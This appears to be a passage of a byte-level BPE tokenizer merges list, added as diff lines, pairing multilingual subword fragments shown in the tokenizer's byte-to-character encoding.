+Ġt Æ°á»Ľng +sk Äħ +Ġm ặc +ส ัà¸ģ +ãĥĵ ãĥ¼ +Ġ×ij ×Ĵ׾ +Ġ×ij×Ĵ׾ ׾ +ãĥķãĤ¡ ãĥ³ +×ij ×Ļצ +×ij×Ļצ ×ķ×¢ +ли ÑģÑĤ +à¸Ł ุ +à¸Łà¸¸ à¸ķ +à¸Łà¸¸à¸ķ à¸ļà¸Ńล +à¸Ŀ à¹Īาย +ìŀIJ ìĿĺ +Ġس ÙĪÙģ +Ġש ×Ķת +Ġê± ¸ +×¢ ×ij×ķ×ĵ +ãģĻãĤĭ ãģĵãģ¨ãģĮ +ĠÑĩа ÑģÑĤÑĮ +ãĤ¢ ãĥ¡ãĥª +ãĤ¢ãĥ¡ãĥª ãĤ« +Ġtak ım +Ġs Ỽ +ĠsỼ m +שר ×Ķ +è¨Ģ ãģĨ +л ан +ì» ¤ +׼ ׳×Ķ +ÙĪÙģ ÙĬ +íĹ Ī +lu ÄŁu +ĠëĮĢ íķ´ +Ġ׾×ij ×Ļת +Ġ×Ķר×IJש ×ķ׳×Ķ +ص Ùħ +Ġsö yled +Ġsöyled i +à¸Ľ าà¸ģ +Ġard ından +ãģĪ ãģŁ +à¸Ĺัà¹Īว à¹Ħà¸Ľ +Ġ׳×ķס ×£ +б олÑĮ +ãĤĵãģ§ãģĻ ãģijãģ© +ĠлиÑĪ ÑĮ +Ġ×ij ×IJ×Ļ +ĠбÑĭ ÑģÑĤÑĢо +ส ัà¸Ļ +Ġ×ij פ׳×Ļ +л еÑĩ +ĠاÙĦØ® بر +Ġsó c +Ġth ú +Ġп ÑıÑĤ +ãģĬ é¡ĺ +ãģĬé¡ĺ ãģĦ +ÑĤ ин +ãģ«ãģ¤ãģĦãģ¦ ãģ¯ +פ ף +Ġдв ÑĥÑħ +à¸į ีà¹Ī +à¸įีà¹Ī à¸Ľ +à¸įีà¹Īà¸Ľ ุ +à¸įีà¹Īà¸Ľà¸¸ à¹Īà¸Ļ +оп еÑĢ +ĠاÙĦب شر +ĠاÙĦÙħ اÙĦ +ıyor uz +تØŃ ÙħÙĬÙĦ +à¸ģ ะ +éĸĵ ãģ« +×Ĺ ×ķש +ĠNg uyên +ãģĦãģ¦ ãģĦãĤĭ +дÑĥ ÑĪ +ש פע +ÑĪ Ñĥ +å®Ł éļĽãģ« +ĠÑĢай он +ĠCh á»ī +ÙĨ صر +Ġìļ ´ +Ġìļ´ ìĺģ +Ġ×Ķ×ĵ ×Ļף +ØŃد د +ر ز +ĠاÙĦد Ùħ +ĠPh áp +ÑĤ ÑģÑı +è¦ĭ ãģĪ +Ġti á»ĥu +Ġs á»Ńa +а ÑİÑĤÑģÑı +ĠB á +Ġ×ķ ׼׾ +Ð ĸ +ÑĪ Ð¸Ð¼ +ìĿ´ ëĬĶ +л ев +d ık +Ġprés ente +Ġara ç +صد ÙĤ +Ġпом ог +ĠاÙĦشر ÙĤ +ĠÙĪØ§ÙĦ ذÙĬ +رÙĬ ا +×ij ׳×ķת +Ġng á»ĵi +ר ×ķפ +ר×ķפ ×IJ +Ġth ấp +ãĤĦ ãģ¯ +ãĤĦãģ¯ ãĤĬ +ĠاÙĦج دÙĬدة +éĿŀ常 ãģ« +ÙĬÙĦ ÙĬ +ìª ½ +تع اÙħÙĦ +ãģł ã썿ĢĿãģĦãģ¾ãģĻ +Ùħ Ùħ +иÑĤе ли +ãĤµãĤ¤ ãĤº +اد ات +ĠاÙĦÙħ اÙĦÙĬØ© +Ùĥات ب +к ли +веÑĢ Ñħ +ни Ñĩ +Ġ×ľ×¢ ×ij×ķ×ĵ +׾ ×Ļ×Ķ +ØŃ Ùİ +ãĤ¤ ãĥĻ +ãĤ¤ãĥĻ ãĥ³ãĥĪ +Ġת ×Ĵ×ķ×ij×ķת +ÑĦ он +ĠдÑĢÑĥг ие +×IJ ×ĸ×ķר +Ġper ò +ìķ ŀ +åĢŁ ãĤĬ +ר צ×Ļ +×IJ ×ĸ +алÑĮ нÑĭÑħ +Ġê²ĥ ìľ¼ë¡ľ +ĠпÑĢав о +ĠاÙĦØ£ رض +à¹Ģà¸Ĺ à¸Ħ +à¹Ģà¸Ĺà¸Ħ à¹Ĥà¸Ļ +à¹Ģà¸Ĺà¸Ħà¹Ĥà¸Ļ à¹Ĥล +à¹Ģà¸Ĺà¸Ħà¹Ĥà¸Ļà¹Ĥล ย +à¹Ģà¸Ĺà¸Ħà¹Ĥà¸Ļà¹Ĥลย ี +צ ר×Ļ +ĠÐļ Ñĥ +ıl ma +決 ãĤģ +ا ÙĪ +Ġ×ĵ ×§×ķת +à¸Ħร ู +ĠÙħست ÙĪÙī +à¸Ľ à¹īà¸Ńà¸ĩ +à¸Ľà¹īà¸Ńà¸ĩ à¸ģัà¸Ļ +×ĵ ×ķ×ŀ×Ķ +ĠÑģ егоднÑı +س ÙĪÙĤ +ר×Ĺ ×ķ×ij +ĠØ¥ دارة +Ñħ ож +éģİ ãģİ +à¸Ħ à¸Ń +нÑĥ л +×ķ׼ ×Ķ +ÙĪ Ø§ÙģÙĤ +׼׾ ׾ +Ġ×Ķ ×ĵ×ķ +Ġl Ä©nh +Ġkh ảo +×IJ×ŀ צע +ë¨ ¸ +Ġ׼ ×Ļצ +Ġ׼×Ļצ ×ĵ +Ġдолж нÑĭ +หว ัà¸ĩ +ãĥĩ ãĤ¶ +ãĥĩãĤ¶ ãĤ¤ãĥ³ +Ġng á»Ŀ +ä¸Ń ãģ« +à¸ģลัà¸ļ มา +جÙħ اÙĦ +à¸Ķัà¸ĩ à¸ģลà¹Īาว +س ÙĥÙĨ +س ÙĨ +Ġözellik le +з еÑĢ +rz ÄĻ +×ŀ ×ķר×Ķ +Ġl ạ +×ŀ ×Ļ׳×Ļ +ר ×Ļת +ãģĿãĤĮ ãģĮ +ãģĭ ãĤĮ +ĠÙĬÙħÙĥÙĨ Ùĥ +öff entlich +г ан +ĠاÙĦØŃ ÙĦ +ĠmiÄĻd zy +ĠÑĩа ÑģÑĤи +ujÄħ cy +ĠbaÄŁ lı +ĠiliÅŁ ki +Ùģ Ø§Ø¡ +ãĥª ãĥ³ãĤ° +Ġhã ng +ĠконÑĤ ÑĢ +ĠконÑĤÑĢ Ð¾Ð» +к оп +ש ×Ļ×¢ +ש×Ļ×¢ ×ķר +ĠÐĴ аÑĪ +Ġ×Ķ ×ª×§ +ÙħÙĨ ع +ĠpolÃŃt ico +Ġг олов +ĠØ¥ ÙĬ +Ø¥ ÙĨتاج +à¸ļ ิ +Ġг овоÑĢ +ĠговоÑĢ Ð¸ÑĤ +Ġph á»ķ +ĠÑģем ÑĮ +ãģ¯ ãģĤãĤĬãģ¾ãģĽãĤĵ +ĠÙĪ Ø§Ø³Øª +×ŀש פ×ĺ +з ем +×ŀ×ĵ ×ijר +Ġíģ ° +ĠìĿ´ ë²Ī +ê°Ģ ëĬĶ +Ġì§Ģ ìĽIJ +Ġca ÅĤy +Ġgeli ÅŁtir +Ñģк ое +pos é +Ġkh ô +à¸ķิà¸Ķ à¸ķาม +miss ão +Ġ׾ ×ŀר +Ġ׾×ŀר ×ķת +Ġb ó +à¸ķรวà¸Ī สà¸Ńà¸ļ +Ġngh á»ģ +Ġб из +Ġбиз неÑģ +ÑģÑĤ еÑĢ +ÙĪ Ùİ +楽 ãģĹãģ +楽ãģĹãģ ¿ +ãģĵãĤĮ ãģĭãĤī +wiÄħ zan +ส à¸Ńà¸Ļ +Ùħ ÙĪØ± +׳×ĵ ׾ +Ġ×Ķ×IJ ×ĵ×Ŀ +Ġм олод +ØŃ Ùħا +ØŃÙħا ÙĬØ© +ÑģÑĤ ÑĢан +Ġbu á»ķi +ת×Ļ ×Ļ×Ŀ +abile ceÄŁi +L İ +à¹Ģย à¸Ńะ +à¸Ī ร +س ÙĥاÙĨ +à¸Ļ ัà¸Ķ +Ġm ấy +ĠÐij а +s ÅĤaw +ĠÙģ ÙĦا +ĠкоÑĤоÑĢ Ð¾Ð¹ +Ġпло Ñī +ĠплоÑī ад +ãĤĤ ãģĤãĤĬ +sz czÄĻ +×Ļפ ×ķ +ש×ŀ ת +owa ÅĤa +Ġn ông +צ×ij ×IJ +ĠìŀĪ ìĹĪ +ãģ¾ ãģ¨ +ãģ¾ãģ¨ ãĤģ +ÙĤÙĪ Ø§Øª +ãģ¿ ãĤĵãģª +Ġ׼ ×ŀ×¢×ĺ +Ġx úc +ï¼ Ĩ +r ÄĻ +rÄĻ cz +×ĵ ×ŀ×Ļ +Ġt áºŃn +à¸Ķ วà¸ĩ +ê²½ ìłľ +п ÑĥÑĤ +Ø£ ربع +Ġ×ŀ שת×ŀש +ãĤ¿ãĤ¤ ãĥĹ +Ġìłľ ê°Ģ +Ġ׾ ׼ף +ĠобÑĢаз ом +ÙĬÙĥ ا +w ÅĤ +wÅĤ asn +ĠاÙĦÙĪØ·ÙĨ ÙĬØ© +بÙĬ ب +×ŀ ׾×Ļ +к ÑĢаÑĤ +기 ìĹIJ +ÙĤ اد +ĠÙĦ دÙī +à¸Ħวาม รูà¹ī +×ŀ×ĵ×Ļ׳ ×Ļ×ķת +ê² ¨ +Ġíĺ Ħìŀ¬ +ש ת×Ļ +м ол +Ġmá i +à¸ŀิ ม +à¸ŀิม à¸ŀ +à¸ŀิมà¸ŀ à¹Į +หล วà¸ĩ +Ġx uyên +×Ĺ ×¡×¨ +رÙĪ ÙĨ +ãģĿãģĨ ãģĦãģĨ +ãģĿãĤĮ ãģŀ +ãģĿãĤĮãģŀ ãĤĮ +Ġ׼ ש×Ķ +ÐŁ ÑĢав +×ŀ×ij צע +ع رب +Ġbü yü +פ×Ļת ×ķ×Ĺ +à¸Ī à¸ļ +ĠØ£ Ùĥبر +שר ת +×ŀ׼ ש×Ļר +ĠÙĪ Ùħع +ãģ® ãģŁãĤģãģ« +à¸Ļ ัà¸ļ +ì° ° +ãĥª ãĥķãĤ© +ãĥªãĥķãĤ© ãĥ¼ãĥł +Ġc ưá»Ŀng +ĠìłĢ íĿ¬ +ÙħÙĨظ ÙħØ© +Ġhiç bir +ãģ§ãģ¯ ãģĤãĤĬãģ¾ãģĽãĤĵ +ร à¸Ńย +ëIJľ ëĭ¤ +ãģĻãģIJ ãģ« +к ла +Ġürün ler +Ġki á»ĥu +ĠëĤĺ ëĬĶ +ÑĤ ки +Ñģ им +Ġchá»ī nh +ãĤĤ ãģªãģĦ +ศ รี +æĽ¿ ãģĪ +ta ÅŁ +Ġب ÙĥÙĦ +Ġ×ķ ×Ļש +vis ão +ä¼ Ŀ +ä¼Ŀ ãģĪ +ÙĦ د +׾ ×Ļ×ŀ +׾×Ļ×ŀ ×ķ×ĵ +t ória +د Ùij +اÙħ ر +Ġê·¸ëłĩ ê²Į +Ġmateria ÅĤ +à¸Ĺ รา +à¸Ĺรา à¸ļ +ã쮿ĸ¹ ãģĮ +ãģ¦ ãģįãģŁ +ض غ +ضغ Ø· +ĠÙĬ عÙĨÙĬ +ел о +×IJ×Ķ ×ij×Ķ +×¢ ×ŀ +ÅŁ ık +ìŀIJ ëĬĶ +ãĤ¿ ãĥ³ +Ġb áºŃt +×ŀשפ ×Ĺ×Ķ +к ÑĢи +б ли +สั à¸ķ +สัà¸ķ วà¹Į +ĠسÙĨ ÙĪØ§Øª +ĠPh ương +ãģ¦ãģĹãģ¾ ãģ£ãģŁ +ãģª ãģľ +Ġ×ij×IJ ×ķ +Ġc án +س جÙĦ +Ġl ẽ +ãĤ± ãĥ¼ãĤ¹ +Ġ×§ ×Ļ×ij׾ +à¸ļà¸Ĺ à¸Ħวาม +Ġ×ķ ׼ף +ĠпÑĢедÑģÑĤав лен +Ġn á»iji +Ġcoment ário +ени ем +Ġtá» ı +l Ãł +Ġש×Ķ ×Ļ×Ķ +Ñģл ав +ĠاÙĦ ÙĪÙĦا +ĠاÙĦÙĪÙĦا ÙĬات +ÙĦج ÙĨØ© +×§×ķר ×IJ +бÑĭ ÑĤ +Ġì ¦ +Ġì¦ ī +ãģ§ãģĻ ãģĹ +หรืà¸Ń à¹Ħมà¹Ī +за ÑīиÑĤ +ÙģÙĦ سطÙĬÙĨ +Ġmi á»ħn +à¹Ģย à¹ĩà¸Ļ +ĠçalÄ±ÅŁ an +×Ļ×Ĵ ×Ķ +ĠE ÄŁ +ĠEÄŁ itim +ãĥĥãĤ· ãĥ¥ +Ġоп Ñĭ +ĠопÑĭ ÑĤ +ر غ +رغ ب +ĠÑģво иÑħ +à¸Ľà¸£à¸° à¸ķ +à¸Ľà¸£à¸°à¸ķ ู +Ġ×ŀ×IJ ×ĵ +׼ ×ķ׳×Ļ×Ŀ +à¸Ļ ี +ĠвÑĭ Ñħод +ãģ®ä¸Ń ãģ« +פ ׾×IJ +ĠÙĪ ÙĦÙĬس +פ×ķר ס +פ×ķרס ×Ŀ +Ùħ سÙĦÙħ +Ġng ôi +×ĵ ×ŀ×ķת +ãĤĴ使 ãģ£ãģ¦ +ĠпомоÑī ÑĮÑİ +Ø£ سر +бл ок +ÙĤ Ùĩ +ãģĹãģ¾ ãģĦ +ãģ¨ ãģĹãģŁ +Ġп еÑģ +ãĥī ãĥ« +×Ĺ ×Ŀ +ãģĹãģª ãģĮãĤī +ĠÐŁ ÑĢед +ãĥģãĤ§ ãĥĥãĤ¯ +å¼· ãģĦ +ש ×Ļר×ķת +д аеÑĤ +×Ļ×ij ×ķ +Ġgen ç +ил аÑģ +илаÑģ ÑĮ +ĠبÙĦ د +æĤ ª +æĤª ãģĦ +Ġ×ŀ שת +æ§ĺ ãĢħ +æ§ĺãĢħ ãģª +à¸ĺรรม à¸Ĭาà¸ķิ +ĠÙĥ اÙħÙĦ +ĠاÙĦس Ùħ +×ij×ĺ ×Ļ×Ĺ +c á +g ência +ãĤ¹ãĤ¿ ãĥ¼ +à¸Ĺำ à¸ģาร +×Ļ׾ ת +Ġ×Ļ ×ķצ×IJ +w ój +à¸ļุ à¸Ħ +à¸ļุà¸Ħ à¸Ħล +ع تÙħ +عتÙħ د +ãģĿãĤĮ ãģ« +ĠاÙĦت ارÙĬØ® +ÙĤر اء +Ġyönet im +×§ שר +ĠÑģп оÑĢÑĤ +Ġר×IJש ×ķף +Ġseñ al +Ġch ắn +çĦ¡ ãģĦ +ĠдоÑģÑĤ аÑĤ +ĠдоÑģÑĤаÑĤ оÑĩно +Ġá gua +à¸ģร à¸ĵ +à¸ģรà¸ĵ ี +Ġ×ŀש ×ķ +Ġtr ải +ë² Į +ujÄħ cych +Ù쨱 د +à¹ĥ à¸ģล +à¹ĥà¸ģล à¹ī +ãĤĭ ãģ®ãģ¯ +ר×ķ ×ķ×Ĺ +ÙĨ Ùĥ +ĠاÙĦÙĨ ÙĤ +ãģ®ãģ§ ãģĹãĤĩãģĨ +ãģ®ãģ§ãģĹãĤĩãģĨ ãģĭ +Ùħ عرÙģ +ÙħعرÙģ Ø© +ÑĥÑī е +Ġ×ij×¢ ×Ļקר +ت صÙĦ +Ġ×Ķ×IJ ר +Ġ×Ķ×IJר ×¥ +ĠÅŀ i +à¸Ĥา à¸Ķ +íŀ ĺ +ãģªãĤĵ ãģ¨ +ĠìĤ¬ëŀ ij +l Ã¼ÄŁÃ¼ +ب اء +ĠاÙĦØ¢ خر +Ġfam ÃŃlia +ĠTh áng +Ñī ениÑı +ãĤ¯ ãĥŃ +ĠTh ứ +æĽ¸ ãģį +ен ной +ìŀ ¡ +бл аг +благ о +п ов +à¹ģ ว +à¸ĩ à¸Ħà¹Į +à¸Ńัà¸Ļ à¸Ķัà¸ļ +ãģĤ ãģĴ +ร à¹īาย +ün ün +Ġ×Ļ׼×ķ׾ ×Ķ +з он +ĠÐľ и +маÑĤ еÑĢиал +Ġë³´ ë©´ +ØŃÙģ Ø¸ +ê Ìģ +ãģ« ãģĻãĤĭ +Ġת ×IJ +Ġ×Ķס ×ķ +ĠÑģÑĤ оÑĢ +ĠÑģÑĤоÑĢ Ð¾Ð½ +ãĥĪ ãĥĥãĥĹ +ÅĤo ÅĽÄĩ +ëħ ¼ +ëĵ Ŀ +ĠÙĪØ§ÙĦ ع +ì¶ Ķ +Ġ×Ļצ ×IJ +ĠÑĢаз дел +алÑĮ наÑı +×IJ׳ ש×Ļ +spo ÅĤ +spoÅĤ ec +spoÅĤec zn +Ø¥ عÙĦ +إعÙĦ اÙĨ +ÙĤÙĪ Ùī +íķĺë©´ ìĦľ +تط ÙĪØ± +Ġsi êu +Ỽ t +д ви +дви ж +Ġqu ần +k ıl +ĠпÑĢи зна +ĠH ã +ĠHã y +ĠباÙĦ ت +man ın +ãĤ« ãĥ« +Ġk á»· +×§ ׾×Ļ +ëIJĺ ì§Ģ +تعÙĦ Ùħ +ìĭľ ìĦ¤ +ìĭ ¶ +íĺ ¼ +Ùĥ ÙĬÙģ +売 ãĤĬ +วิ à¸Ĭา +б ал +ĠØ£ ØŃ +Ġдолж ен +รา à¸ĩ +ราà¸ĩ วั +ราà¸ĩวั ล +Ùħ اء +ج ار +Å ļ +Ġ×ŀ×IJ ×ĸ +ר ×ŀ×Ķ +ãģĭãĤĤãģĹãĤĮ ãģªãģĦ +ét ude +czÄħ c +Ġg ór +×ł×¡ ×Ķ +Ùħ ÙĬد +ĠÐŁ еÑĢе +Ø£ خر +ãģĿãģ® å¾Į +à¹Ģà¸Ķียว à¸ģัà¸Ļ +×ŀ ×Ĵ×ķ +×ŀ×Ĵ×ķ ×ķף +д ов +mas ına +×¢ ׳×Ķ +ãĤ± ãĥĥãĥĪ +ס ×¢ +סע ×Ļ×£ +ĠT ư +Ġt óc +íĻľ ëıĻ +ĠÐŀ д +ĠÐŀд нако +Ġdol ayı +ؤ Ùĥد +ê³Ħ íļį +׾ ר +в еÑĩ +Ġkh ợi +Ġth á»§y +×ĵ ף +ร à¸ģ +à¸ļั à¸ķร +à¹Ģà¸ģ à¹Īา +ĠاÙĦØ« اÙĦ +ĠاÙĦثاÙĦ Ø« +Ġpod rá +ער ×Ļ +ÙĨج اØŃ +Ġkh ắc +ì¸ ¡ +İ M +ãĤ» ãĥĥãĥĪ +ż enia +Ġ׾×Ĺ ×ijר +er Ãł +ì ´Ī +Ġkü ç +Ġküç ük +ات ÙĩÙħ +à¸ĭ à¹Į +Ùħشار ÙĥØ© +ĠاÙĦ بط +Ġd ây +ен нÑĭм +à¸Ĺีà¹Ī à¹Ħมà¹Ī +ÙĤ Ùİ +Ġv ượt +Ġtr ì +Ġwp ÅĤyw +A Åŀ +з о +ĠاÙĦس ÙĬد +à¸Ĺะ à¹Ģล +ĠÑģодеÑĢж а +ع Ø·ÙĬ +ĠاÙĦع ÙĨ +èĢħ ãģĮ +à¹Ģ หà¸Ļ +à¹Ģหà¸Ļ ืà¸Ń +Ġb ÃŃ +Ġüzer inden +ĠV Å© +Ġnu ôi +ÙĨ Ùħ +алÑĮ ного +×¢ ×Ļף +ØŃ ضر +ĠоÑĤ дел +ëª ĩ +ìķ ¡ +ĠÙĦدÙĬ Ùĩ +ìĻ ľ +Ġse ktör +Ġвозмож но +ĠÐĶ Ð¶ +Ġh ô +äºĭ ãģĮ +иÑĢов ание +алÑĮ ной +Ġ미 êµŃ +ر ØŃÙĦ +ĠÑįк Ñģ +пÑĢав лÑı +Ġnh á»Ŀ +ĠÄij ẩ +ĠÄijẩ y +Ùģ Ùĥر +ĠÙĪØ£ ضاÙģ +ãĥIJ ãĤ¹ +ת×ķ׼ ׳×Ļת +ÑĤел ей +ĠØ¥ÙĦÙĬ Ùĩ +ãģ¨è¨Ģ ãģ£ãģ¦ +Ġдв е +Ġch ấp +ĠL ö +à¸Ħล ิ +à¸Ħลิ à¸Ľ +Ġس ÙĪØ± +ĠسÙĪØ± ÙĬا +×ŀ×Ĺ ×ķ +st ä +д об +Ġni á»ĩm +ãģ® å¤§ +פר×ķ ×Ļ×§ +פר×ķ×Ļ×§ ×ĺ +ĠCh âu +Ġ×ŀ×Ķ ×Ŀ +Ñģк им +ĠполÑĥÑĩ иÑĤÑĮ +ÙĬ ÙĪÙħ +Ø« ÙĪØ± +פ×ķ׾ ×Ļ×ĺ +פ×ķ׾×Ļ×ĺ ×Ļ +ĠмеÑģÑı ÑĨ +åħ¨ ãģ¦ +ĠاÙĦÙħ جÙĦس +ĠاÙĦت اÙĦÙĬ +Ġ׊ר +åIJij ãģij +׼ ×ŀ×Ķ +б ед +Ø£ عض +أعض اء +ÙĪÙĦ د +วà¹Īา à¸Īะ +Ġb ánh +à¸Ļิ ย +à¸Ļิย ม +à¸Ľà¸£à¸° à¸ģัà¸Ļ +ÑģÑĤав иÑĤÑĮ +à¸ŀ à¸Ļัà¸Ļ +ĠÑį ÑĦÑĦ +ĠÑįÑĦÑĦ екÑĤив +Ġав ÑĤоÑĢ +ĠÄIJ Äĥng +Ġth Æ°á»Łng +ãĤĴ æĦŁãģĺ +à¸ģัà¸ļ à¸ģาร +å¾Į ãģ« +Ġya ÄŁ +ست اÙĨ +Ġli á»ģn +ãģĦ ãģ¾ +i êu +à¹Ĥà¸Ķ à¸Ļ +ĠÙĦ ذÙĦÙĥ +à¹Ĥรà¸ĩ à¹Ģรียà¸Ļ +צ ×Ļ×Ĵ +ĠاÙĦÙħ عÙĦÙĪÙħات +ç§ģ ãģŁãģ¡ +à¸Ĺีà¹Ī à¸Ħุà¸ĵ +ãģ«ãģª ãģ£ãģ¦ãģĦãĤĭ +×ŀ×ĵ ×Ļ׳×Ķ +ס ׼×Ŀ +Ġв не +à¸ŀ à¸Ļัà¸ģà¸ĩาà¸Ļ +ÑĢ ÐµÐ¹ +à¹Ģà¸Īà¹īา หà¸Ļà¹īาà¸Ĺีà¹Ī +ĠHi á»ĩn +Ġméd ico +ĠتØŃ ÙĤÙĬÙĤ +ÑĮ ÑĤе +miÅŁ ti +ÙĤÙĬ ادة +ãĤı ãģĭãĤĬ +มา à¸Īาà¸ģ +ëħ Ģ +ãģ«éĸ¢ ãģĻãĤĭ +×IJר×Ĵ ×ķף +m ètre +Ġעצ ×ŀ×Ļ +ĠCh úa +รูà¹ī à¸Ī +รูà¹īà¸Ī ัà¸ģ +ì£ Ħ +ëĭ µ +à¹ģà¸Ĺ à¹ī +Ġgeç en +Ġlan ça +ĠاÙĦ بØŃØ« +×ĵ ×ŀ×ķ +ãģ¯ ãģĺ +ãģ¯ãģĺ ãĤģ +Ġdön Ã¼ÅŁ +è¿ij ãģı +à¹Ģส ม +à¹Ģสม à¸Ń +ëĿ ½ +Ġü ç +á» ŀ +ÑĪ Ð°Ñı +à¸Ĺ ร +ØŃ ÙĤÙĬÙĤØ© +à¸Ĥà¸Ńà¸ĩ à¸ģาร +Ġ무 ìĹĩ +Ġ×Ķ ×Ľ×¨ +ĠاÙĦص ÙĬÙĨ +ĠлÑİ Ð´Ð¸ +à¸ķ าย +ب ÙĪÙĦ +Ġvi êm +Ġthi á»ĩu +à¸ģ à¸Ķ +Ġ׾ ×ĵ×ijר +פ ׳×Ķ +×IJר ×ij×¢ +س Ùī +ĠاÙĦسÙĬ اس +ĠاÙĦسÙĬاس ÙĬØ© +yd ı +ÙĪØŃØ¯ Ø© +ĠдеÑıÑĤелÑĮ ноÑģÑĤи +Ġ×ķ×Ķ ×ŀ +п еÑĩ +пеÑĩ аÑĤ +иÑĢов аниÑı +ĠÑģ ог +ĠÑģог лаÑģ +Ġ׼ ×ĵ +Ġ׼×ĵ ×IJ×Ļ +ĠиÑģполÑĮзов аÑĤÑĮ +ס פ×ķר×ĺ +Ġil çe +exp érience +ĠTh á»Ŀi +İ K +à¹Ħà¸Ł à¸Łà¹īา +ëĵ¤ ìĹIJê²Į +à¸Ľà¸£à¸° à¹Ģà¸ł +à¸Ľà¸£à¸°à¹Ģà¸ł à¸Ĺ +Ġmü mk +Ġmümk ün +Ġ×IJ×ķת ׳×ķ +ìĦ± ìĿĦ +ĠìĿ´ ìľł +زÙĬ ارة +Ġolduk ça +r ób +ĠØ£ ÙĨا +Ġ×Ķ ×ij×Ļ +Ñģ ен +×¢ ×Ļקר +×Ļ×ĵ ×ķ×¢ +d zÄħ +Ùħ عÙĦÙĪÙħات +Ø´ اب +Ġpar ça +à¸Ļะ à¸Ħะ +ب اس +ĠÑĤоÑĢ Ð³ +ĠÑĤоÑĢг ов +Ġ×Ĺ ×ĵר +׼ ר×ĺ +׼ר×ĺ ×Ļס +ĠA yrıca +ÃªÌ £ +ìľ ¨ +ĠÑĤак ие +Ġ×ŀצ ×ķ×Ļ +ãĥ©ãĥ³ ãĤŃãĥ³ãĤ° +ש×Ļ×ķ ×ķ×§ +åīį ãģ® +ĠB ảo +Ñī Ñĥ +æĹ© ãģı +ĠPh òng +à¸ŀระ ราà¸Ĭ +פ ×Ĺ×ķת +Ġг л +Ġгл аз +à¸Ĺ à¹Īา +Ġd ạy +ÑĢ Ð¾ÑģÑĤ +à¹Ĥà¸Ķย à¹Ģà¸īà¸ŀาะ +Ġqu áºŃn +Ġ×Ĺ×ijר ×ķת +m ême +mÄ±ÅŁ tı +ĠاÙĦت داÙĪÙĦ +Ġn ạn +Ġ×Ķ ×ĵ×Ļ +ĠاÙĦØ· رÙĬÙĤ +×Ĵ ×ķת +Ġ×Ķ ×ĵר×ļ +ujÄħ ce +Ġch ữ +ãĤĤãģ® ãģ® +ë° Ľ +ãģķãĤĵ ãģ¯ +Ġyard ım +ĠاÙĦع Ùħ +Ġì§Ħ íĸī +Ġ×Ļ ×Ĺ +Ġ×Ļ×Ĺ ×¡×Ļ +ĠاÙĦÙħ دÙĬÙĨØ© +Ġc ú +à¸ģี ฬ +à¸ģีฬ า +Ġni ên +mis ión +׳×Ļס ×Ļ +׳×Ļס×Ļ ×ķף +Ġвоз ÑĢаÑģÑĤ +Ġ×¢×ķש ×Ķ +ĠÙħ دÙĬر +Ñı ÑģÑĮ +ØŃ جÙħ +íĻĺ ê²½ +ĠاÙĦØ£ خرÙī +u ÃŁer +ĠاÙĦعاÙĦÙħ ÙĬØ© +ĠNg á»įc +êµIJ íļĮ +ä¸Ĭ ãģ§ +×Ļ×Ķ ×ķ×ĵ +×Ļ×Ķ×ķ×ĵ ×Ļ×Ŀ +Ùħس اعدة +Ġжиз нÑĮ +ĠпоÑĤ омÑĥ +ĠاÙĦÙħ ÙħÙĦ +ĠاÙĦÙħÙħÙĦ ÙĥØ© +ĠG ör +ر ÙIJ +×ŀ×§ ×ķ×ŀ×ķת +åĩºæĿ¥ ãĤĭ +ÑĦ ÑĤ +ĠìĿ´ ìłľ +ĠÑĢ ÐµÐ¼ +ĠÑĢем онÑĤ +ת ×ķ×ļ +æĻĤ ãģ¯ +ãĤīãĤĮ ãģªãģĦ +alt ı +å®¶ ãģ® +ĠاÙĦØ¥ عÙĦاÙħ +리 ëĬĶ +ãģĭãĤī ãģ¯ +ĠH ạ +ãģĤ ãģ® +×ĵ×Ļ ×ķף +رÙĬ س +Ġsoci etÃł +ĠاÙĦÙĥ بÙĬر +Ġ×ij ×ŀס +Ġ×ij×ŀס ×Ĵר +Ġ×ij×ŀס×Ĵר ת +ĠìŀĪ ìľ¼ë©° +Ġn ặng +Ùĩ Ùī +ĠB Ãł +×ŀר ×ķ +Ġj ÄĻ +ĠjÄĻ zy +ĠjÄĻzy k +Ġ׼ ×ŀ×ķ×ijף +×¢ ׾×Ķ +à¸Ĺีà¹Ī à¹Ħà¸Ķà¹ī +ãģ¾ ãģĹãĤĩãģĨ +×ŀס פר +Т Ðŀ +سÙĬاس Ø© +Ġкажд Ñĭй +ë² ł +t ım +y á»ĩn +ร ีà¹Ī +ĠдеÑĤ Ñģк +วิà¸ĺี à¸ģาร +m ówi +×ĺ×¢ ×Ŀ +×Ķצ׾ ×Ĺ×Ķ +ض ÙĬÙģ +ĠÑħоÑĤ Ñı +ãĤĵãģ§ ãģĦãĤĭ +à¸Ħา à¸Ķ +à¸Ħร à¸ļ +Ġк ÑĥÑĢÑģ +ĠbaÅŁ arı +×ijר ×ķ +ÙĬع Ø© +ĠÐĿ Ñĥ +à¸Ħวาม à¹Ģà¸Ľà¹ĩà¸Ļ +Ġ׾ ×ŀש׾ +Ġì¢ĭ ìĿĢ +Ùħؤس س +Ùħؤسس ات +Ġpréc is +Ġth ảo +à¸ģà¹ĩ à¸Ħืà¸Ń +Ġש ׼׾ +führ ung +ãģĦ ãģ§ +à¹ģละ มี +à¸ģà¹ĩ มี +Ġש ש +м ел +Ġкни г +ĠباÙĦ ÙĨ +ĠباÙĦÙĨ سبة +Ġald ı +ÑĤ ай +Ġ×Ĺ×ĵ ש×Ļ×Ŀ +å®Ł ãģ¯ +ع ÙĪØ§ +ĠìĿĺ 미 +из м +ÑĢабоÑĤ аÑĤÑĮ +Ùģ Øµ +Ġ×ij׳ ×ķסף +ãģ¨ãģĹãģ¦ ãĤĤ +à¹Ģà¸Ľà¹ĩà¸Ļ à¸Ĺีà¹Ī +ĠÑģлед ÑĥеÑĤ +èĢĥãģĪ ãģ¦ +Ġ׼ ×Ļ×ķ×Ŀ +ÑģÑĤ Ñĭ +׼׾׼ ׾×Ļ +æµģ ãĤĮ +ãĤĴ ãģ¤ãģij +Ñĩ аÑĤ +×Ļ׼ ×ķף +×Ļר ×Ļ +ları yla +ãĤ¤ ãĥ¡ +ãĤ¤ãĥ¡ ãĥ¼ãĤ¸ +׳×ĸ ×§ +Ġci ò +Ġs ın +Ġsın ır +à¸Ļ à¸Ħร +к аÑĤ +Ġl á»Ĺi +ëŀ Į +تÙģ Ø§Øµ +تÙģØ§Øµ ÙĬÙĦ +ëĨ ĵ +ĠÙħ ض +il miÅŁ +بار Ùĥ +ÐĿ Ðĺ +Ġth ẩm +Ġ×IJ×ķת ×ļ +ĠпÑĢин им +ĠпÑĢиним а +Ġyö nt +Ġyönt em +Ġ×ŀ×§ ×ij׾ 